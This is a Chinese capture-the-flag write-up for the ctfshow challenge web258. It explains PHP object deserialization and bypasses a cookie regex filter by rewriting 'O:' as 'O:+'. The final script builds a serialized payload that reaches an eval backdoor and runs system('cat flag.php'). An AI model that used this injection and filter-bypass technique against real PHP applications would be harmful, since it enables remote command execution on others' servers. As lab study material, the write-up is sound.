web258

与上一题的区别就是,在最后反序化之前做了一个正则表达式

在Cookie中过滤以o或者c开头加:加任意数字最后以:结尾的不区分大小写的字符串

O:数字:

C:数字:

class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;
    public $class = 'info';

    public function __construct(){
        $this->class=new info();
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function __destruct(){
        $this->class->getInfo();
    }

}

class info{
    public $user='xxxxxx';
    public function getInfo(){
        return $this->user;
    }
}

class backDoor{
    public $code;
    public function getInfo(){
        eval($this->code);
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    if(!preg_match('/[oc]:\d+:/i', $_COOKIE['user'])){
        $user = unserialize($_COOKIE['user']);
    }
    $user->login($username,$password);
}

经过查看wp,因为序列化后是对象,以o开头,所以对原数据进行字符串替换,将o:替换为o:+

具体意义:猜测是因为:后跟数字,表示正数吧

#最终代码

class ctfShowUser{
    public $class;
    public function __construct(){
        $this->class=new backDoor();
    } 
} 
class backDoor{
    public $code='system("cat flag.php");';
}
$a = serialize(new ctfShowUser());
$a = str_replace('O:','O:+',$a);
echo urlencode($a);

关于这个,比较不容易注意到的一个点就是属性的可见性要设定为public

如果还是private私有可见的话,不会取得预想效果

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值